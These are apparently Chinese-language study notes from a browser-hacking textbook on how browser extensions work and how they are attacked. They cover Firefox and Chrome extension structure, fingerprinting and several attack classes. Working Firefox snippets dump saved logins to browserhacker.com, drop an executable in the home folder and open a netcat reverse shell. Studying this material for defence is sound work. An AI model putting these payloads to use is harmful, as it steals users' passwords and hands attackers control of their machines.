攻击扩展
扩展的结构
扩展与插件
区别
- 扩展存在于浏览器进程空间,插件可以独立执行
- 扩展可以创建浏览器菜单和标签页,插件不可以
- 扩展可以在浏览器打开的所有页面中生效,插件只影响加载它的页面
- 加载的方法
- 服务器返回特点的MIME类型
- 使用(或)标签
- 加载的方法
扩展与附加程序
附加程序(add-on)可以理解为涵盖插件、扩展的一种外部程序。一般来说,附加程序指的是除浏览器及其插件之外的所有外部程序。
利用特权
每个提供的扩展环境都拥有访问浏览器功能的较高权限
浏览器的两个主要区域:
- 低权限的互联网区域——无特权,收限于SOP,无权访问用户敏感数据和干扰操作系统
- 较高权限的浏览器区域(chrome://区域)——扩展运行的区域,浏览器高度信任,有权访问敏感的用户信息和特权API,不受SOP限制。
Firefox扩展
- Firefox扩展是一个使用zip格式的压缩文件,使用.xpi后缀
- 文件结构
- Chrome:包含下层子目录
- Content:包含主功能
- Skin:包含图片和CSS
- Defaults:包含偏好配置项
- Components:包含XPCOM组件(可选)
- install.rdf:包含安装和更新的细节
- updateURL和updateKey——影响针对更新过程的攻击
- Chrome:包含下层子目录
- XUL和XBL
- XUL:Firefox浏览器中用于表示chrome中可见内容的语言。
- XBL:把可见的内容和JavaScript连接起来
- XPCOM API
- XPCOM就是在浏览器中使用的跨平台组件模型
- XPConnect:XPCOM和JavaScript之间的桥梁,通过XPConnect,JavaScript能够调用XPCOM的各种功能
- 扩展可以使用运行在操作系统环境中的XPCOM组件
- 利用登录管理器
// 取得登录管理对象 var l2m=Components.classes["@mozilla.org/loginmanager;1"].getService(Components.interfaces.nsILoginManager); // 从登录管理对象中取得所有凭据 allCredentials = l2m.getAllLogins({}); // 提取主机、用户名和密码 for (i=0;i<=allCredentials.length;i=i+1){ var url = "http://browserhacker.com/"; url += "?host=" + encodeURI(allCredentials[i].hostname); url += "&user=" + encodeURI(allCredentials[i].username); url += "&password=" + encodeURI(allCredentials[i].password); window.open(url); }
- 读取文件系统
SOP不适用于扩展中的URL
var fileToRead="file:///C:/boot.ini"; \\读取c:\boot.ini文件 var fileContents=document.ReadURL.readFile(fileToRead);
- 写入文件系统
function makeFile(bdata){ var workingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile); var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); aFile.initWithPath( workingDir.path + "\\filename.exe" ); aFile.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777); var stream = Components.classes["@mozilla.org/network/safe-file-outputstream;1"].createInstance(Components.interfaces.nsIFileOutputStream); //Firefox用来写入文件系统的XPCOM API是nsIFileOutputStream stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0); stream.write(bdata, bdata.length); if (stream instanceof Components.interfaces.nsISafeOutputStream){ stream.finish(); } else { stream.close(); } }
- 执行操作系统命令
以Netcat执行反向shell:
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); var lPath = "/bin/nc"; lFile.initWithPath(lPath); var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(lFile); process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4);
- 利用登录管理器
Chrome扩展
- 组成
- 包含一个清单文件(manifest file),以及由后台页面、UI页面及内容脚本构成的其他组件。
- 使用.crx作为扩展文件名的后缀
- 清单文件(manifest.json)
* - 内容脚本
内容脚本负责与加载到浏览器中的网页内容交互,Chrome扩展中的这个组件拥有直接访问DOM的权限,攻击面最大。- 特点
- 内容脚本不能调用在网页源中定义的任何函数
- 内容脚本只能访问扩展API,不能访问关联扩展页面中的变量和函数,不能访问其他内容脚本,不能对扩展所在页面发送跨域请求
- 内容脚本与扩展的其他部分是隔离的,与安全边界之内的环境是隔离的
- 可以对任何列在其清单文件中的来源,发起跨域XHR请求(XMLHttp-Request请求),与这些请求同时发送的,还有用户正在交互的Web应用所设置的cookie
- 特点
- UI页面
UI页面指的是选项页、弹出层,或其他展示给用户的页面,就是构成扩展用户界面的HTML资源。运行在这些UI页面中的JavaScript拥有较高权限。- 特点
- UI页面不能直接访问DOM,必须利用内容脚本才行
- 特点
- 后台页面
后台页面(在使用过程中)可以视为扩展的核心,权限较高。 - NPAPI插件
NPAPI插件在Chrome沙箱外部运行,拥有用户权限。 - 安全模型
- 独立王国
加载网页中的脚本与内容脚本相互隔离。 - 匹配模式
匹配模式用于限制扩展的XMLHttpRequest对象 - 权限
API相应的权限同样也在manifest.json文件中列出 - 安全边界
安全边界将内容脚本(及网页)与扩展的其他部分隔开。
- 独立王国
- 内容安全策略
- 定义:manifest.json文件中的content_security_policy参数
- 默认:
script-src 'self'; object-src 'self'
- 不允许外部加载脚本。
- 不允许外部加载对象。
- 不允许行内脚本。
- 不允许eval()。
采集扩展指纹
HTTP首部
查看首部变化
- 对比安装前后的头部信息
- 查询扩展源代码
- Chrome扩展查看流程
- 检测manifest.json文件是否请求了webRequest权限
- 查看chrome.webRequest.onBeforeSendHeader函数
- 查看XMLHttpRequest.setRequestHeader函数
- Firefox扩展
- ,搜索setRequestHeader可以找到修改请求首部的位置
- Chrome扩展查看流程
使用DOM采集
- Firebug
- 检测是否开启(全true则开启):!!window.console.clear、!!window.console.exception、!!window.console.table
- 仅检测Firebug Lite:!!window.console.provider
使用清单文件
- web_accessible_resources数组:manifest.json文件中用于列出可以通过URL访问的资源
- GUID
攻击扩展
冒充扩展
跨上下文脚本攻击(XCS)
跨上下文脚本攻击(XCS)是一种从不受信任区域向受信任区域发送指令的扩展攻击方法。
中间人攻击
扩展中使用远程加载的数据,可能会为攻击者提供机会。
- Firefox扩展
- 相关函数
- window.open()
- window.opendialog()
- nsIWindowWatcher()
- XMLHTTPRequest()
- 相关函数
绕过Web应用CSP
内容脚本根本不受CSP保护。
绕过同源策略
Chrome扩展的内容脚本可以读取跨域请求的响应,在发送跨域请求时,首部会包含与相应源关联的cookie。
普遍的XSS攻击
如果某个浏览器的扩展中存在一个XSS漏洞,那就有可能在浏览器加载的任意页面上被利用。
跨站点请求伪造(XSRF)
假设有一个扩展,在加载位于白名单中的UI页面时,会从GET请求中读取一个配置参数。加载完成后(包括提供了参数后),关键的配置数据就保存在LocalStorage中。
一个页面作为白名单文件,出现在了web_accessible_resources参数中,意味着任何网页都可以在一个<iframe>中包含它。加载这个包含定制URL的内嵌框架,会导致这个虚构扩展的LocalStorage对象中保存任意内容。
攻击DOM事件处理程序
Firefox中chrome://区域与不受信任区域间的通信,也可以通过DOM事件实现。
执行操作系统命令
Chrome扩展可以通过使用NPAPI,在文件系统中执行程序。
参考文献
《黑客攻防宝典——浏览器》